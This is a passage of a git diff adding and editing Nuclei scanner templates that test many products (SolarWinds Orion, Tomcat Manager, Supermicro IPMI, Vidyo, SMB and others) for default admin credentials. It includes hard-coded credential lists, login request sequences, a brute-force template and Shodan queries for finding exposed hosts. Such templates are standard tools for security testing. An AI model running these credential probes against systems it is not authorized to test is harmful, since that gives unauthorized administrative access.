username=showdoc&password=123456&v_code= + headers: + Content-Type: application/x-www-form-urlencoded;charset=UTF-8 matchers-condition: and matchers: - type: word diff --git a/poc/default/smartsense-default-login-10330.yaml b/poc/default/smartsense-default-login-10330.yaml index 0bddf7fce8..88bc61e7b6 100644 --- a/poc/default/smartsense-default-login-10330.yaml +++ b/poc/default/smartsense-default-login-10330.yaml @@ -1,38 +1,39 @@ id: smartsense-default-login - info: name: HortonWorks SmartSense Default Login author: Techryptic (@Tech) severity: high - description: Default Login of admin:admin on HortonWorks SmartSense application. + description: HortonWorks SmartSense default admin login information was detected. reference: https://docs.cloudera.com/HDPDocuments/SS1/SmartSense-1.2.2/bk_smartsense_admin/content/manual_server_login.html tags: hortonworks,smartsense,default-login - + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cve-id: + cwe-id: CWE-522 requests: - raw: - | GET /apt/v1/context HTTP/1.1 Host: {{Hostname}} Authorization: Basic {{base64(username + ':' + password)}} - payloads: username: - admin password: - admin attack: pitchfork - matchers-condition: and matchers: - type: word words: - "Set-Cookie: SUPPORTSESSIONID" part: header - - type: word words: - "smartsenseId" - - type: status status: - - 200 \ No newline at end of file + - 200 + +# Enhanced by mp on 2022/03/10 diff --git a/poc/default/smb-default-creds.yaml b/poc/default/smb-default-creds.yaml new file mode 100644 index 0000000000..c780d674b0 --- /dev/null +++ b/poc/default/smb-default-creds.yaml @@ -0,0 +1,48 @@ +id: smb-default-creds + +info: + name: SMB Default Credential - Bruteforce + author: pussycat0x + severity: high + description: | + Attempts to guess username/password combinations over SMB. + reference: + - https://nmap.org/nsedoc/scripts/smb-brute.html + metadata: + verified: true + max-request: 9 + shodan-query: "port:445" + tags: js,network,smb,enum,default,bruteforce + +javascript: + - code: | + var m = require("nuclei/smb"); + var c = new m.SMBClient(); + var response = c.ListShares(Host, Port, User, Pass); + response; + + args: + Host: "{{Host}}" + Port: "445" + User: "{{usernames}}" + Pass: "{{passwords}}" + + attack: clusterbomb + payloads: + usernames: + - 'admin' + - 'administrator' + - 'guest' + passwords: + - 'admin' + - 'password' + - 'guest' + + stop-at-first-match: true + matchers: + - type: dsl + dsl: + - 'response != "[]"' + - 'success == true' + condition: and +# digest: 4a0a00473045022100e4e4c6b26aee87ee4e9049bc95f669a4f5ea3dad6588ce20344199115d43052e0220243f2d99ab65b5b97c603640b1415e81a9b424a03025e820492c47e88a2de49f:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/default/solarwinds-default-login-10354.yaml b/poc/default/solarwinds-default-login-10354.yaml index ea489ae260..d155aaf5f0 100644 --- a/poc/default/solarwinds-default-login-10354.yaml +++ b/poc/default/solarwinds-default-login-10354.yaml @@ -1,33 +1,40 @@ id: solarwinds-default-admin + info: name: SolarWinds Orion Default Login author: dwisiswant0 severity: high description: SolarWinds Orion default admin credentials were discovered. + tags: solarwinds,default-login reference: - https://github.com/solarwinds/OrionSDK/wiki/REST classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L cvss-score: 8.3 + cve-id: cwe-id: CWE-522 - tags: solarwinds,default-login + # Optional: # POST /SolarWinds/InformationService/v3/Json/Create/Orion.Pollers HTTP/1.1 # {"PollerType":"Hello, world! from nuclei :-P", "NetObject":"N:1337", "NetObjectType":"N", "NetObjectID":1337} + requests: - raw: - | GET /SolarWinds/InformationService/v3/Json/Query?query=SELECT+Uri+FROM+Orion.Pollers+ORDER+BY+PollerID+WITH+ROWS+1+TO+3+WITH+TOTALROWS HTTP/1.1 Host: {{Hostname}} Authorization: Basic {{base64(username)}} + - | GET /InformationService/v3/Json/Query?query=SELECT+Uri+FROM+Orion.Pollers+ORDER+BY+PollerID+WITH+ROWS+1+TO+3+WITH+TOTALROWS HTTP/1.1 Host: {{Hostname}} Authorization: Basic {{base64(username)}} + payloads: username: - admin attack: pitchfork + matchers-condition: and matchers: - type: word diff --git a/poc/default/solarwinds-default-login-10355.yaml b/poc/default/solarwinds-default-login-10355.yaml new file mode 100644 index 0000000000..0b1353395a --- /dev/null +++ b/poc/default/solarwinds-default-login-10355.yaml @@ -0,0 +1,55 @@ +id: solarwinds-default-admin + +info: + name: SolarWinds Orion Default Login + author: dwisiswant0 + severity: high + description: SolarWinds Orion default admin credentials were discovered. + reference: + - https://github.com/solarwinds/OrionSDK/wiki/REST + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cwe-id: CWE-522 + metadata: + max-request: 2 + tags: solarwinds,default-login + +# Optional: +# POST /SolarWinds/InformationService/v3/Json/Create/Orion.Pollers HTTP/1.1 +# {"PollerType":"Hello, world! from nuclei :-P", "NetObject":"N:1337", "NetObjectType":"N", "NetObjectID":1337} +http: + - raw: + - | + GET /SolarWinds/InformationService/v3/Json/Query?query=SELECT+Uri+FROM+Orion.Pollers+ORDER+BY+PollerID+WITH+ROWS+1+TO+3+WITH+TOTALROWS HTTP/1.1 + Host: {{Hostname}} + Authorization: Basic {{base64(username)}} + - | + GET /InformationService/v3/Json/Query?query=SELECT+Uri+FROM+Orion.Pollers+ORDER+BY+PollerID+WITH+ROWS+1+TO+3+WITH+TOTALROWS HTTP/1.1 + Host: {{Hostname}} + Authorization: Basic {{base64(username)}} + + payloads: + username: + - admin + attack: pitchfork + + matchers-condition: and + matchers: + - type: word + words: + - "Content-Type: application/json" + part: header + + - type: regex + regex: + - "(totalRow|result|swi)s(:\\/\\/)?" + - "(Orion\\.|Poller(ID)?)s?" + condition: and + part: body + + - type: status + status: + - 200 + +# digest: 4b0a00483046022100dd1bdb30bf4b1a99b8d4c8bb5bd898e5b502b306813b224242e97ab4423f41310221009e149cd0f02915a3f11b66a75ab7d7175c5d86023da47872d10c5a8049a2105e:922c64590222798bb761d5b6d8e72950 diff --git a/poc/default/soplanning-default-login.yaml b/poc/default/soplanning-default-login.yaml new file mode 100644 index 0000000000..817121268f --- /dev/null +++ b/poc/default/soplanning-default-login.yaml @@ -0,0 +1,49 @@ +id: soplanning-default-login + +info: + name: SOPlanning - Default Login + author: Kazgangap + severity: high + description: | + SOPlanning contains default credentials. An attacker can obtain access to user accounts and access sensitive information, modify data, and/or execute unauthorized operations. + reference: + - https://www.soplanning.org/en/ + metadata: + verified: true + max-request: 1 + vendor: soplanning + product: soplanning + shodan-query: html:"soplanning" + tags: soplanning,default-login + +http: + - raw: + - | + POST /process/login.php HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + login={{username}}&password={{password}} + + attack: pitchfork + payloads: + username: + - admin + password: + - admin + + host-redirects: true + max-redirects: 2 + matchers-condition: and + matchers: + - type: word + words: + - 'title="Logout"' + - 'title="Modify my profile"' + - 'Settings' + condition: and + + - type: status + status: + - 200 +# digest: 4a0a00473045022100b3d86e9e10bde636e6ff84016fd5241457bcac181d4c2b3192a646880f744dc902205cb3645bb990dc1492bf69406d5d8bdf9cfb6c1f2673f843d980c65713f09a92:922c64590222798bb761d5b6d8e72950 \ No newline at end of file diff --git a/poc/default/spectracom-default-login-10403.yaml b/poc/default/spectracom-default-login-10403.yaml index c8aa18c5fb..026a7506f0 100644 --- a/poc/default/spectracom-default-login-10403.yaml +++ b/poc/default/spectracom-default-login-10403.yaml @@ -1,4 +1,5 @@ id: spectracom-default-login + info: name: Spectracom Default Login author: madrobot @@ -10,8 +11,11 @@ info: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L cvss-score: 8.3 cwe-id: CWE-522 + metadata: + max-request: 1 tags: spectracom,default-login -requests: + +http: - raw: - | POST /users/login HTTP/1.1 @@ -19,12 +23,14 @@ requests: Content-Type: application/x-www-form-urlencoded data%5Bbutton%5D=submit&data%5BUser%5D%5Busername%5D={{username}}&data%5BUser%5D%5Bpassword%5D={{password}} + payloads: username: - spadmin password: - admin123 attack: pitchfork + matchers-condition: and matchers: - type: word @@ -33,8 +39,9 @@ requests: - "deleted" part: header condition: and + - type: status status: - 302 -# Enhanced by mp on 2022/03/11 +# digest: 4b0a004830460221009ddea1de39d4ca01d9a0043c61f7d94be5f8072b8c379663debaa33dc98e48a302210086a6d7b86a6d81bf17cf9073aa84e6a5f7d3605927d4bec495bcb77a62a85a52:922c64590222798bb761d5b6d8e72950 diff --git a/poc/default/spectracom-default-login-10405.yaml b/poc/default/spectracom-default-login-10405.yaml new file mode 100644 index 0000000000..c8aa18c5fb --- /dev/null +++ b/poc/default/spectracom-default-login-10405.yaml @@ -0,0 +1,40 @@ +id: spectracom-default-login +info: + name: Spectracom Default Login + author: madrobot + severity: high + description: Spectracom default admin credentials were discovered. + reference: + - https://orolia.com/manuals/NC/Content/NC_and_SS/Com/Topics/ADMIN/Passwords.htm + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cwe-id: CWE-522 + tags: spectracom,default-login +requests: + - raw: + - | + POST /users/login HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + data%5Bbutton%5D=submit&data%5BUser%5D%5Busername%5D={{username}}&data%5BUser%5D%5Bpassword%5D={{password}} + payloads: + username: + - spadmin + password: + - admin123 + attack: pitchfork + matchers-condition: and + matchers: + - type: word + words: + - "spectracom" + - "deleted" + part: header + condition: and + - type: status + status: + - 302 + +# Enhanced by mp on 2022/03/11 diff --git a/poc/default/structurizr-default-login.yaml b/poc/default/structurizr-default-login.yaml new file mode 100644 index 0000000000..fb0db3fe69 --- /dev/null +++ b/poc/default/structurizr-default-login.yaml @@ -0,0 +1,62 @@ +id: structurizr-default-login + +info: + name: Structurizr - Default Login + author: DhiyaneshDK + severity: high + description: | + Structurizr contains default credentials. + reference: + - https://docs.structurizr.com/onpremises/quickstart + metadata: + verified: true + max-request: 3 + shodan-query: http.favicon.hash:1199592666 + tags: structurizr,default-login + +http: + - raw: + - | + GET /signin HTTP/1.1 + Host: {{Hostname}} + - | + POST /login HTTP/1.1 + Host: {{Hostname}} + Origin: {{RootURL}} + Content-Type: application/x-www-form-urlencoded + + username={{username}}&password={{password}}&_csrf={{csrf}}&hash= + - | + GET /dashboard HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + attack: pitchfork + payloads: + username: + - "structurizr" + password: + - "password" + + matchers-condition: and + matchers: + - type: word + part: body_3 + words: + - '' + - 'Sign out' + condition: and + + - type: status + status: + - 200 + + extractors: + - type: regex + name: csrf + group: 1 + regex: + - 'name="_csrf" value="([0-9a-z-]+)"' + internal: true + +# digest: 490a00463044022000bee996e0a22c9c6fc5cf0762ecaeee4e63c7b49cd44bedf30c15279c7323f402204e76001706df14f1509bf3dcbed38250e5ab7e925e877eea06fcb29b85d84f04:922c64590222798bb761d5b6d8e72950 diff --git a/poc/default/supermicro-default-login-10572.yaml b/poc/default/supermicro-default-login-10572.yaml index 389184e33a..14c7e91cd3 100644 --- a/poc/default/supermicro-default-login-10572.yaml +++ b/poc/default/supermicro-default-login-10572.yaml @@ -1,17 +1,14 @@ id: supermicro-default-login info: - name: Supermicro Ipmi - Default Admin Login + name: Supermicro Ipmi Default Login author: For3stCo1d severity: high - description: Supermicro Ipmi default admin login credentials were successful. reference: - https://www.gearprimer.com/wiki/supermicro-ipmi-default-username-pasword/ - metadata: - max-request: 2 tags: supermicro,default-login -http: +requests: - raw: - | POST /cgi/login.cgi HTTP/1.1 @@ -28,8 +25,8 @@ http: pass: - ADMIN - admin - stop-at-first-match: true + stop-at-first-match: true matchers-condition: and matchers: - type: word @@ -42,5 +39,3 @@ http: - type: status status: - 200 - -# digest: 4a0a004730450220774c665ddbbaf12c515be67dc37f276fed0e1d410d0820b8ccd1b3523dae5cac022100f06abda25027143ab8bb06bae13c9e5c9d68b91bfbcfd21f9768cea90746fa9d:922c64590222798bb761d5b6d8e72950 diff --git a/poc/default/supermicro-default-login.yaml b/poc/default/supermicro-default-login.yaml new file mode 100644 index 0000000000..9caa2a311e --- /dev/null +++ b/poc/default/supermicro-default-login.yaml @@ -0,0 +1,36 @@ +id: supermicro-default-login +info: + name: Supermicro Ipmi Default Login + author: For3stCo1d + severity: high + reference: + - https://www.gearprimer.com/wiki/supermicro-ipmi-default-username-pasword/ + tags: supermicro,default-login +requests: + - raw: + - | + POST /cgi/login.cgi HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + name={{user}}&pwd={{pass}} + attack: pitchfork + payloads: + user: + - ADMIN + - admin + pass: + - ADMIN + - admin + stop-at-first-match: true + matchers-condition: and + matchers: + - type: word + part: body + words: + - 'self.location=' + - '/cgi/url_redirect.cgi?url_name=mainmenu' + condition: and + - type: status + status: + - 200 diff --git a/poc/default/szhe-default-login-10636.yaml b/poc/default/szhe-default-login-10636.yaml new file mode 100644 index 0000000000..64f4525692 --- /dev/null +++ b/poc/default/szhe-default-login-10636.yaml @@ -0,0 +1,34 @@ +id: szhe-default-login +info: + name: Szhe Default Login + author: pikpikcu + severity: low + tags: szhe,default-login + reference: + - https://github.com/Cl0udG0d/SZhe_Scan # vendor homepage +requests: + - raw: + - | + POST /login/ HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + email={{username}}&password={{password}}&remeber=true + payloads: + username: + - springbird@qq.com + password: + - springbird + attack: pitchfork + matchers-condition: and + matchers: + - type: word + words: + - 'You should be redirected automatically to target URL: /' + - type: word + words: + - 'Set-Cookie: session' + part: header + - type: status + status: + - 302 diff --git a/poc/default/szhe-default-login-10638.yaml b/poc/default/szhe-default-login-10638.yaml index 64f4525692..261f6d9060 100644 --- a/poc/default/szhe-default-login-10638.yaml +++ b/poc/default/szhe-default-login-10638.yaml @@ -2,10 +2,16 @@ id: szhe-default-login info: name: Szhe Default Login author: pikpikcu - severity: low + description: Szhe default login information was discovered. + severity: medium tags: szhe,default-login reference: - https://github.com/Cl0udG0d/SZhe_Scan # vendor homepage + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N + cvss-score: 5.8 + cve-id: + cwe-id: CWE-522 requests: - raw: - | @@ -32,3 +38,5 @@ requests: - type: status status: - 302 + +# Enhanced by mp on 2022/03/11 diff --git a/poc/default/timekeeper-default-login.yaml b/poc/default/timekeeper-default-login.yaml new file mode 100644 index 0000000000..8fc8bb40d7 --- /dev/null +++ b/poc/default/timekeeper-default-login.yaml @@ -0,0 +1,46 @@ +id: timekeeper-default-login + +info: + name: TimeKeeper - Default Login + author: theamanrawat + severity: high + description: | + TimeKeeper contains default credentials. An attacker can obtain access to user accounts and access sensitive information, modify data, and/or execute unauthorized operations. + reference: + - https://fsmlabs.com + metadata: + verified: true + max-request: 1 + shodan-query: http.favicon.hash:2134367771 + tags: timekeeper,default-login + +http: + - raw: + - | + GET /login?arg1={{url_encode(base64(username))}}&arg2={{url_encode(base64(password))}} HTTP/1.1 + Host: {{Hostname}} + + attack: pitchfork + payloads: + username: + - "admin" + password: + - "timekeeper" + + matchers-condition: and + matchers: + - type: word + part: body + words: + - "%7B%20%22username%22%20%3A%20%22admin%22%2C%20%22result%22%3A%20%22OK%22" + + - type: word + part: header + words: + - 'text/html' + + - type: status + status: + - 200 + +# digest: 4a0a0047304502207d17c8359af61021decdaba59da226acf87ee8cdba8e3fb902695de3029e9547022100c67b56b1c80cebea6a8dcf167e09be028622328147e4cbbab6e8e4bbebfb1a9c:922c64590222798bb761d5b6d8e72950 diff --git a/poc/default/tomcat-default-login-10788.yaml b/poc/default/tomcat-default-login-10788.yaml index 79fc207a12..4e522c9229 100644 --- a/poc/default/tomcat-default-login-10788.yaml +++ b/poc/default/tomcat-default-login-10788.yaml @@ -2,19 +2,17 @@ id: tomcat-default-login info: name: ApahceTomcat Manager Default Login author: pdteam - description: Apache Tomcat Manager default login credentials were discovered. This template checks for multiple variations. severity: high + description: Apache Tomcat Manager default login credentials were discovered. This template checks for multiple variations. reference: - https://www.rapid7.com/db/vulnerabilities/apache-tomcat-default-ovwebusr-password/ tags: tomcat,apache,default-login - requests: - raw: - | GET /manager/html HTTP/1.1 Host: {{Hostname}} Authorization: Basic {{base64(username + ':' + password)}} - payloads: username: - tomcat @@ -35,7 +33,6 @@ requests: - role1 - both - admin - password: - tomcat - admin @@ -55,17 +52,18 @@ requests: - tomcat - tomcat - 123456 - - attack: pitchfork # Available options: sniper, pitchfork and clusterbomb - + attack: pitchfork # Available options: sniper, pitchfork and clusterbomb matchers-condition: and matchers: + - type: word + part: body + words: + - "Apache Tomcat" + - "Server Information" + - "Hostname" + condition: and - type: status status: - 200 - - type: word - words: - - Apache Tomcat - # Enhanced by mp on 2022/03/03 diff --git a/poc/default/tomcat-default-login-10791.yaml b/poc/default/tomcat-default-login-10791.yaml index 9b4556e810..514e77dbe1 100644 --- a/poc/default/tomcat-default-login-10791.yaml +++ b/poc/default/tomcat-default-login-10791.yaml @@ -1,17 +1,18 @@ id: tomcat-default-login info: - name: Tomcat Manager Default Login + name: Apache Tomcat Manager Default Login author: pdteam severity: high + description: Apache Tomcat Manager default login credentials were discovered. This template checks for multiple variations. + reference: + - https://www.rapid7.com/db/vulnerabilities/apache-tomcat-default-ovwebusr-password/ tags: tomcat,apache,default-login - requests: - raw: - | GET /manager/html HTTP/1.1 Host: {{Hostname}} Authorization: Basic {{base64(username + ':' + password)}} - payloads: username: - tomcat @@ -32,7 +33,6 @@ requests: - role1 - both - admin - password: - tomcat - admin @@ -52,15 +52,18 @@ requests: - tomcat - tomcat - 123456 - - attack: pitchfork # Available options: sniper, pitchfork and clusterbomb - + attack: pitchfork # Available options: sniper, pitchfork and clusterbomb matchers-condition: and matchers: + - type: word + part: body + words: + - "Apache Tomcat" + - "Server Information" + - "Hostname" + condition: and - type: status status: - 200 - - type: word - words: - - Apache Tomcat \ No newline at end of file +# Enhanced by mp on 2022/03/03 diff --git a/poc/default/trilithic-viewpoint-default.yaml b/poc/default/trilithic-viewpoint-default.yaml index 6cd0fc44e6..16350f7494 100644 --- a/poc/default/trilithic-viewpoint-default.yaml +++ b/poc/default/trilithic-viewpoint-default.yaml @@ -1,23 +1,34 @@ id: trilithic-viewpoint-default info: - name: Trilithic Viewpoint Default Credentials + name: Trilithic Viewpoint Default Login author: davidmckennirey severity: high - description: | - Searches for default admin credentials for the (discontinued) Trilithic Viewpoint application. + description: Trilithic Viewpoint application default admin credentials were discovered. Note this product has been discontinued. + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cwe-id: CWE-522 + metadata: + max-request: 1 tags: default-login,trilithic,viewpoint -requests: +http: - raw: - | POST /ViewPoint/admin/Site/ViewPointLogin HTTP/1.1 Host: {{Hostname}} - Content-Length: 65 Content-Type: application/json Cookie: trilithic_win_auth=false - {u:"admin", t:"undefined", p:"trilithic", d:"", r:false, w:false} + {u:"{{username}}", t:"undefined", p:"{{password}}", d:"", r:false, w:false} + + payloads: + username: + - admin + password: + - trilithic + attack: pitchfork matchers-condition: and matchers: @@ -30,4 +41,6 @@ requests: - '"authorized":true' - 'redirectUrl' part: body - condition: and \ No newline at end of file + condition: and + +# digest: 4a0a00473045022014a7d7605ddc90edf4ca833e80d170b67a5d3d187a294a4f30d8e5a8e009ea96022100af5be289ce42136195b8c9af573839491e0d63a7de9c2281764cb201608ba517:922c64590222798bb761d5b6d8e72950 diff --git a/poc/default/ucmdb-default-login-10868.yaml b/poc/default/ucmdb-default-login-10868.yaml index 169611f6d5..7405706fe1 100644 --- a/poc/default/ucmdb-default-login-10868.yaml +++ b/poc/default/ucmdb-default-login-10868.yaml @@ -1,16 +1,9 @@ id: ucmdb-default-login - info: - name: Micro Focus Universal CMDB Default Login + name: Micro Focus UCMDB Default Login author: dwisiswant0 severity: high - description: Micro Focus Universal CMDB default login credentials were discovered for diagnostics/admin. Note there is potential for this to be chained together with other vulnerabilities as with CVE-2020-11853 and CVE-2020-11854. - reference: - - https://packetstormsecurity.com/files/161182/Micro-Focus-UCMDB-Remote-Code-Execution.htm - classification: - cwe-id: CWE-798 tags: ucmdb,default-login - requests: - raw: - | @@ -18,23 +11,18 @@ requests: Host: {{Hostname}} customerID=1&isEncoded=false&userName={{username}}&password={{base64(password)}}&ldapServerName=UCMDB - attack: pitchfork payloads: username: - diagnostics password: - admin - matchers-condition: and matchers: - type: status status: - 200 - - type: word part: header words: - "LWSSO_COOKIE_KEY" - -# Enhanced by mp on 2022/03/07 diff --git a/poc/default/ucmdb-default-login.yaml b/poc/default/ucmdb-default-login.yaml deleted file mode 100644 index 7405706fe1..0000000000 --- a/poc/default/ucmdb-default-login.yaml +++ /dev/null @@ -1,28 +0,0 @@ -id: ucmdb-default-login -info: - name: Micro Focus UCMDB Default Login - author: dwisiswant0 - severity: high - tags: ucmdb,default-login -requests: - - raw: - - | - POST /ucmdb-ui/cms/loginRequest.do; HTTP/1.1 - Host: {{Hostname}} - - customerID=1&isEncoded=false&userName={{username}}&password={{base64(password)}}&ldapServerName=UCMDB - attack: pitchfork - payloads: - username: - - diagnostics - password: - - admin - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: word - part: header - words: - - "LWSSO_COOKIE_KEY" diff --git a/poc/default/versa-default-login-11002.yaml b/poc/default/versa-default-login-11002.yaml index 48d4d86354..1dd0c3bf52 100644 --- a/poc/default/versa-default-login-11002.yaml +++ b/poc/default/versa-default-login-11002.yaml @@ -1,34 +1,33 @@ id: versa-default-login + info: name: Versa Networks SD-WAN Application Default Login author: davidmckennirey severity: high - description: Versa Networks SD-WAN application default admin credentials were discovered. - reference: - - https://versa-networks.com/products/sd-wan.php - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - cvss-score: 8.3 - cwe-id: CWE-522 + description: Searches for default admin credentials for the Versa Networks SD-WAN application. tags: default-login,versa,sdwan + requests: - raw: - | GET /versa/login.html HTTP/1.1 Host: {{Hostname}} Accept-Encoding: gzip, deflate + - | POST /versa/login HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded username={{user}}&password={{pass}}&sso=systemRadio + attack: pitchfork payloads: user: - Administrator pass: - versa123 + cookie-reuse: true req-condition: true matchers-condition: and @@ -39,10 +38,9 @@ requests: - "contains(tolower(all_headers_2), 'jsessionid')" - "contains(tolower(all_headers_2), 'location: /versa/index.html')" condition: and + - type: dsl dsl: - "contains(tolower(all_headers_2), '/login?error=true')" - "contains(tolower(all_headers_2), '/login?tokenmissingerror=true')" - negative: true - -# Enhanced by mp on 2022/04/06 + negative: true \ No newline at end of file diff --git a/poc/default/versa-default-login-11003.yaml b/poc/default/versa-default-login-11003.yaml new file mode 100644 index 0000000000..48d4d86354 --- /dev/null +++ b/poc/default/versa-default-login-11003.yaml @@ -0,0 +1,48 @@ +id: versa-default-login +info: + name: Versa Networks SD-WAN Application Default Login + author: davidmckennirey + severity: high + description: Versa Networks SD-WAN application default admin credentials were discovered. + reference: + - https://versa-networks.com/products/sd-wan.php + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cwe-id: CWE-522 + tags: default-login,versa,sdwan +requests: + - raw: + - | + GET /versa/login.html HTTP/1.1 + Host: {{Hostname}} + Accept-Encoding: gzip, deflate + - | + POST /versa/login HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + + username={{user}}&password={{pass}}&sso=systemRadio + attack: pitchfork + payloads: + user: + - Administrator + pass: + - versa123 + cookie-reuse: true + req-condition: true + matchers-condition: and + matchers: + - type: dsl + dsl: + - 'status_code_2 == 302' + - "contains(tolower(all_headers_2), 'jsessionid')" + - "contains(tolower(all_headers_2), 'location: /versa/index.html')" + condition: and + - type: dsl + dsl: + - "contains(tolower(all_headers_2), '/login?error=true')" + - "contains(tolower(all_headers_2), '/login?tokenmissingerror=true')" + negative: true + +# Enhanced by mp on 2022/04/06 diff --git a/poc/default/vidyo-default-login-11008.yaml b/poc/default/vidyo-default-login-11008.yaml index 670142a941..bc6abf0740 100644 --- a/poc/default/vidyo-default-login-11008.yaml +++ b/poc/default/vidyo-default-login-11008.yaml @@ -1,17 +1,26 @@ id: vidyo-default-login + info: name: Vidyo Default Login author: izn0u severity: medium - description: test for default cred super:password - reference: https://support.vidyocloud.com/hc/en-us/articles/226265128 + description: Vidyo default credentials were discovered. + reference: + - https://support.vidyocloud.com/hc/en-us/articles/226265128 tags: vidyo,default-login + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N + cvss-score: 5.8 + cve-id: + cwe-id: CWE-522 + requests: - raw: - | GET /super/login.html?lang=en HTTP/1.1 Host: {{Hostname}} Origin: {{BaseURL}} + - | POST /super/super_security_check;jsessionid={{session}}?csrf_tkn={{csrf_tkn}} HTTP/1.1 Host: {{Hostname}} @@ -21,12 +30,14 @@ requests: Cookie: JSESSIONID={{session}} ; VidyoPortalSuperLanguage=en username={{username}}&password={{password}} + payloads: username: - super password: - password attack: pitchfork + extractors: - type: regex name: csrf_tkn @@ -35,18 +46,23 @@ requests: internal: true regex: - 'csrf_tkn=([A-Za-z0-9.-]+)' + - type: kval name: session internal: true part: header kval: - JSESSIONID + matchers-condition: and matchers: - type: word part: header words: - "/super/index.html" + - type: status status: - 302 + +# Enhanced by mp on 2022/03/11 diff --git a/poc/default/vidyo-default-login-11009.yaml b/poc/default/vidyo-default-login-11009.yaml new file mode 100644 index 0000000000..670142a941 --- /dev/null +++ b/poc/default/vidyo-default-login-11009.yaml @@ -0,0 +1,52 @@ +id: vidyo-default-login +info: + name: Vidyo Default Login + author: izn0u + severity: medium + description: test for default cred super:password + reference: https://support.vidyocloud.com/hc/en-us/articles/226265128 + tags: vidyo,default-login +requests: + - raw: + - | + GET /super/login.html?lang=en HTTP/1.1 + Host: {{Hostname}} + Origin: {{BaseURL}} + - | + POST /super/super_security_check;jsessionid={{session}}?csrf_tkn={{csrf_tkn}} HTTP/1.1 + Host: {{Hostname}} + Content-Type: application/x-www-form-urlencoded + Origin: {{BaseURL}} + Referer: {{RootURL}}/super/login.html?lang=en + Cookie: JSESSIONID={{session}} ; VidyoPortalSuperLanguage=en + + username={{username}}&password={{password}} + payloads: + username: + - super + password: + - password + attack: pitchfork + extractors: + - type: regex + name: csrf_tkn + group: 1 + part: body + internal: true + regex: + - 'csrf_tkn=([A-Za-z0-9.-]+)' + - type: kval + name: session + internal: true + part: header + kval: + - JSESSIONID + matchers-condition: and + matchers: + - type: word + part: header + words: + - "/super/index.html" + - type: status + status: + - 302 diff --git a/poc/default/vidyo-default-login-11010.yaml b/poc/default/vidyo-default-login-11010.yaml index ed1cdb3074..2ef617437c 100644 --- a/poc/default/vidyo-default-login-11010.yaml +++ b/poc/default/vidyo-default-login-11010.yaml @@ -6,11 +6,12 @@ info: description: Vidyo default credentials were discovered. reference: - https://support.vidyocloud.com/hc/en-us/articles/226265128 + tags: vidyo,default-login classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N cvss-score: 5.8 + cve-id: cwe-id: CWE-522 - tags: vidyo,default-login requests: - raw: - | diff --git a/poc/default/visionhub-default-login-11027.yaml b/poc/default/visionhub-default-login-11027.yaml index 33f448b3bb..f7409e95bc 100644 --- a/poc/default/visionhub-default-login-11027.yaml +++ b/poc/default/visionhub-default-login-11027.yaml @@ -3,14 +3,9 @@ info: name: VisionHub Default Login author: Techryptic (@Tech) severity: high - description: VisionHub application default admin credentials were accepted. - reference: - - https://www.qognify.com/products/visionhub/ - classification: - cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L - cvss-score: 8.3 - cwe-id: CWE-522 + description: Default Login of admin:admin on VisionHub application. tags: visionhub,default-login + reference: https://www.qognify.com/products/visionhub/ requests: - raw: - | @@ -32,5 +27,3 @@ requests: - type: status status: - 200 - -# Enhanced by mp on 2022/04/06 diff --git a/poc/default/visionhub-default-login-11029.yaml b/poc/default/visionhub-default-login-11029.yaml new file mode 100644 index 0000000000..33f448b3bb --- /dev/null +++ b/poc/default/visionhub-default-login-11029.yaml @@ -0,0 +1,36 @@ +id: visionhub-default-login +info: + name: VisionHub Default Login + author: Techryptic (@Tech) + severity: high + description: VisionHub application default admin credentials were accepted. + reference: + - https://www.qognify.com/products/visionhub/ + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cwe-id: CWE-522 + tags: visionhub,default-login +requests: + - raw: + - | + POST /VisionHubWebApi/api/Login HTTP/1.1 + Host: {{Hostname}} + Authorization: Basic {{base64(username + ':' + password)}} + payloads: + username: + - admin + password: + - admin + attack: pitchfork + matchers-condition: and + matchers: + - type: word + words: + - "Set-Cookie: admin" + part: header + - type: status + status: + - 200 + +# Enhanced by mp on 2022/04/06 diff --git a/poc/default/visionhub-default-login.yaml b/poc/default/visionhub-default-login.yaml new file mode 100644 index 0000000000..0c32ed33aa --- /dev/null +++ b/poc/default/visionhub-default-login.yaml @@ -0,0 +1,37 @@ +id: visionhub-default-login +info: + name: VisionHub Default Login + author: Techryptic (@Tech) + severity: high + description: VisionHub application default admin credentials were discovered. + tags: visionhub,default-login + reference: + - https://www.qognify.com/products/visionhub/ + classification: + cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L + cvss-score: 8.3 + cve-id: + cwe-id: 